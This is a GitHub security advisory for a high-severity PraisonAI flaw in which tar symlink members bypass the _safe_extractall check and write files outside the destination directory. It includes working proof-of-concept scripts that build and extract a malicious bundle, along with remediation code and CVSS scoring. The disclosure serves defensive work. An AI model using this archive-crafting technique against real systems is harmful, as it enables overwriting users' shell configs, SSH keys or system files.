Skip to content

PraisonAI's symlink-extraction bypass of `_safe_extractall` writes outside `dest_dir`

High severity GitHub Reviewed Published May 4, 2026 in MervinPraison/PraisonAI • Updated May 11, 2026

Package

pip PraisonAI (pip)

Affected versions

<= 4.6.36

Patched versions

4.6.37

Description

Summary

The _safe_extractall helper that all recipe pull, recipe publish, and recipe unpack flows route through validates each archive member's name for absolute paths, .. segments, and resolved-path escape — but does not validate member.linkname, does not reject symlink/hardlink members, and calls tar.extractall(dest_dir) without filter="data". A bundle that contains a symlink with a name
inside dest_dir but a linkname pointing outside it, followed by a regular file whose path traverses through the just-created symlink, escapes dest_dir and lets the attacker write arbitrary content to an attacker-chosen location on the victim's filesystem.

Affected paths

Every code path that calls _safe_extractall is exposed:

Caller File:line
praisonai recipe unpack src/praisonai/praisonai/cli/features/recipe.py:1175 (introduced as the fix for GHSA-99g3-w8gr-x37c)
LocalRegistry.unpack (recipe pull) src/praisonai/praisonai/recipe/registry.py:413
Registry archive validation (publish) src/praisonai/praisonai/recipe/registry.py:808

Root cause

recipe/registry.py:131-178:

def _safe_extractall(tar: tarfile.TarFile, dest_dir: Path) -> None:
    ...
    for member in tar.getmembers():
        ...
        member_path = Path(member.name)
        if member_path.is_absolute(): raise RegistryError(...)
        if '..' in member_path.parts: raise RegistryError(...)
        resolved = (dest_resolved / member_path).resolve()
        if not str(resolved).startswith(str(dest_resolved) + os.sep) and resolved != dest_resolved:
            raise RegistryError(...)
    # All members validated — safe to extract
    tar.extractall(dest_dir)

Three gaps:

  1. The loop checks only member.name. member.linkname (the symlink / hardlink target) is not inspected.
  2. member.issym() and member.islnk() are not used to refuse link members at all.
  3. tar.extractall(dest_dir) runs without filter="data". On Python ≤ 3.13 the default is fully_trusted (with a DeprecationWarning on 3.12+), which permits symlinks pointing outside dest_dir.

When the archive is extracted in member order, the symlink lands first, and any subsequent member whose path traverses through that symlink follows it to the attacker's chosen location.

Reproduction

Tested in a disposable container against praisonai==4.6.35 (pip install praisonai, no other modifications).

make_bundle.py:

import io, json, tarfile
manifest = json.dumps({"name": "legit", "version": "1.0.0"}).encode()
with tarfile.open("malicious.praison", "w:gz") as tar:
    info = tarfile.TarInfo("manifest.json"); info.size = len(manifest)
    tar.addfile(info, io.BytesIO(manifest))

    sym = tarfile.TarInfo("legit/escape")
    sym.type = tarfile.SYMTYPE
    sym.linkname = "/tmp/PWNED"
    tar.addfile(sym)

    payload = b"PWNED via symlink-extraction bypass of _safe_extractall\n"
    pf = tarfile.TarInfo("legit/escape/owned.txt"); pf.size = len(payload)
    tar.addfile(pf, io.BytesIO(payload))

direct_test.py:

import shutil, tarfile
from pathlib import Path
from praisonai.recipe.registry import _safe_extractall

DEST = Path("/work/recipes_direct")
shutil.rmtree(DEST, ignore_errors=True); DEST.mkdir(parents=True)
Path("/tmp/PWNED").mkdir(parents=True, exist_ok=True)

with tarfile.open("malicious.praison", "r:gz") as tar:
    _safe_extractall(tar, DEST)

assert Path("/tmp/PWNED/owned.txt").exists(), "did not escape"
print("PWNED:", Path("/tmp/PWNED/owned.txt").read_text())

Run:

docker run --rm -v "$PWD:/work" -w /work python:3.11-slim sh -c '
  pip install -q praisonai &&
  python make_bundle.py &&
  python direct_test.py
'

Observed output:

_safe_extractall returned cleanly
PWNED: PWNED via symlink-extraction bypass of _safe_extractall

/tmp/PWNED/owned.txt exists after the call returns, written outside the destination directory the helper was asked to extract into.

Impact

Arbitrary file write with attacker-controlled content to an attacker-chosen path, on every host that processes a malicious .praison bundle through any of the three callers above.

Realistic exploitation paths:

  • A user runs praisonai recipe unpack ./<malicious>.praison after obtaining the bundle from a shared registry, a tutorial link, or
    direct messaging.
  • A user runs praisonai recipe pull <name> against a malicious or compromised registry.
  • A registry server processes an uploaded .praison bundle (the publish path is reachable over the network if the server is exposed. per GHSA-r9x3-wx45-2v7f and GHSA-2xgv-5cv2-47vv).

Where the agent process runs as a regular user, the attacker can overwrite shell config (.bashrc, .zshrc, .profile), SSH authorized_keys, cron entries, or project files in adjacent directories. Where the process runs as root (registry-server deployments and some sudo-launched workflows), the attacker controls arbitrary system files.

This re-opens the recipe pull, recipe publish, and recipe unpack paths that GHSA-99g3-w8gr-x37c, GHSA-4rx4-4r3x-6534, GHSA-r9x3-wx45-2v7f, and GHSA-4ph2-f6pf-79wv were each intended to close.

Suggested remediation

Single-line fix at recipe/registry.py:178:

tar.extractall(dest_dir, filter="data")

filter="data" (introduced in Python 3.12; available as a backport on 3.8+ via the official PEP 706 reference implementation) refuses
symlinks, hardlinks, device nodes, and absolute or escaping link targets, it is the canonical Python defense against this class.
If you also support older Python, add an explicit guard inside the existing per-member loop before tar.extractall:

if member.issym() or member.islnk():
    link_target = (dest_resolved / member_path.parent / member.linkname).resolve()
    if member.linkname.startswith("/") or not str(link_target).startswith(str(dest_resolved) + os.sep):
        raise RegistryError(
            f"Refusing to extract link with target outside dest dir: "
            f"{member.name} -> {member.linkname}"
        )

Affected versions

praisonai >= 2.7.2 through current 4.6.35 (the helper exists at least back to the earliest path-traversal patch chain referenced in
GHSA-99g3-w8gr-x37c). All releases that route extraction through _safe_extractall are exposed.

Disclosure

Reported privately via the project's GHSA workflow at
https://github.com/MervinPraison/PraisonAI/security/advisories/new

-- Dhiral Vyas

References

@MervinPraison MervinPraison published to MervinPraison/PraisonAI May 4, 2026
Published by the National Vulnerability Database May 8, 2026
Published to the GitHub Advisory Database May 11, 2026
Reviewed May 11, 2026
Last updated May 11, 2026

Severity

High

CVSS overall score

This score calculates overall vulnerability severity from 0 to 10 and is based on the Common Vulnerability Scoring System (CVSS).
/ 10

CVSS v4 base metrics

Exploitability Metrics
Attack Vector Network
Attack Complexity Low
Attack Requirements None
Privileges Required None
User interaction None
Vulnerable System Impact Metrics
Confidentiality None
Integrity High
Availability None
Subsequent System Impact Metrics
Confidentiality None
Integrity None
Availability None

CVSS v4 base metrics

Exploitability Metrics
Attack Vector: This metric reflects the context by which vulnerability exploitation is possible. This metric value (and consequently the resulting severity) will be larger the more remote (logically, and physically) an attacker can be in order to exploit the vulnerable system. The assumption is that the number of potential attackers for a vulnerability that could be exploited from across a network is larger than the number of potential attackers that could exploit a vulnerability requiring physical access to a device, and therefore warrants a greater severity.
Attack Complexity: This metric captures measurable actions that must be taken by the attacker to actively evade or circumvent existing built-in security-enhancing conditions in order to obtain a working exploit. These are conditions whose primary purpose is to increase security and/or increase exploit engineering complexity. A vulnerability exploitable without a target-specific variable has a lower complexity than a vulnerability that would require non-trivial customization. This metric is meant to capture security mechanisms utilized by the vulnerable system.
Attack Requirements: This metric captures the prerequisite deployment and execution conditions or variables of the vulnerable system that enable the attack. These differ from security-enhancing techniques/technologies (ref Attack Complexity) as the primary purpose of these conditions is not to explicitly mitigate attacks, but rather, emerge naturally as a consequence of the deployment and execution of the vulnerable system.
Privileges Required: This metric describes the level of privileges an attacker must possess prior to successfully exploiting the vulnerability. The method by which the attacker obtains privileged credentials prior to the attack (e.g., free trial accounts), is outside the scope of this metric. Generally, self-service provisioned accounts do not constitute a privilege requirement if the attacker can grant themselves privileges as part of the attack.
User interaction: This metric captures the requirement for a human user, other than the attacker, to participate in the successful compromise of the vulnerable system. This metric determines whether the vulnerability can be exploited solely at the will of the attacker, or whether a separate user (or user-initiated process) must participate in some manner.
Vulnerable System Impact Metrics
Confidentiality: This metric measures the impact to the confidentiality of the information managed by the VULNERABLE SYSTEM due to a successfully exploited vulnerability. Confidentiality refers to limiting information access and disclosure to only authorized users, as well as preventing access by, or disclosure to, unauthorized ones.
Integrity: This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information. Integrity of the VULNERABLE SYSTEM is impacted when an attacker makes unauthorized modification of system data. Integrity is also impacted when a system user can repudiate critical actions taken in the context of the system (e.g. due to insufficient logging).
Availability: This metric measures the impact to the availability of the VULNERABLE SYSTEM resulting from a successfully exploited vulnerability. While the Confidentiality and Integrity impact metrics apply to the loss of confidentiality or integrity of data (e.g., information, files) used by the system, this metric refers to the loss of availability of the impacted system itself, such as a networked service (e.g., web, database, email). Since availability refers to the accessibility of information resources, attacks that consume network bandwidth, processor cycles, or disk space all impact the availability of a system.
Subsequent System Impact Metrics
Confidentiality: This metric measures the impact to the confidentiality of the information managed by the SUBSEQUENT SYSTEM due to a successfully exploited vulnerability. Confidentiality refers to limiting information access and disclosure to only authorized users, as well as preventing access by, or disclosure to, unauthorized ones.
Integrity: This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information. Integrity of the SUBSEQUENT SYSTEM is impacted when an attacker makes unauthorized modification of system data. Integrity is also impacted when a system user can repudiate critical actions taken in the context of the system (e.g. due to insufficient logging).
Availability: This metric measures the impact to the availability of the SUBSEQUENT SYSTEM resulting from a successfully exploited vulnerability. While the Confidentiality and Integrity impact metrics apply to the loss of confidentiality or integrity of data (e.g., information, files) used by the system, this metric refers to the loss of availability of the impacted system itself, such as a networked service (e.g., web, database, email). Since availability refers to the accessibility of information resources, attacks that consume network bandwidth, processor cycles, or disk space all impact the availability of a system.
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N

EPSS score

Exploit Prediction Scoring System (EPSS)

This score estimates the probability of this vulnerability being exploited within the next 30 days. Data provided by FIRST.
(35th percentile)

Weaknesses

Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')

The product uses external input to construct a pathname that is intended to identify a file or directory that is located underneath a restricted parent directory, but the product does not properly neutralize special elements within the pathname that can cause the pathname to resolve to a location that is outside of the restricted directory. Learn more on MITRE.

Improper Link Resolution Before File Access ('Link Following')

The product attempts to access a file based on the filename, but it does not properly prevent that filename from identifying a link or shortcut that resolves to an unintended resource. Learn more on MITRE.

CVE ID

CVE-2026-44340

GHSA ID

GHSA-9q28-ghcr-c4x3

Credits

Loading Checking history
See something to contribute? Suggest improvements for this vulnerability.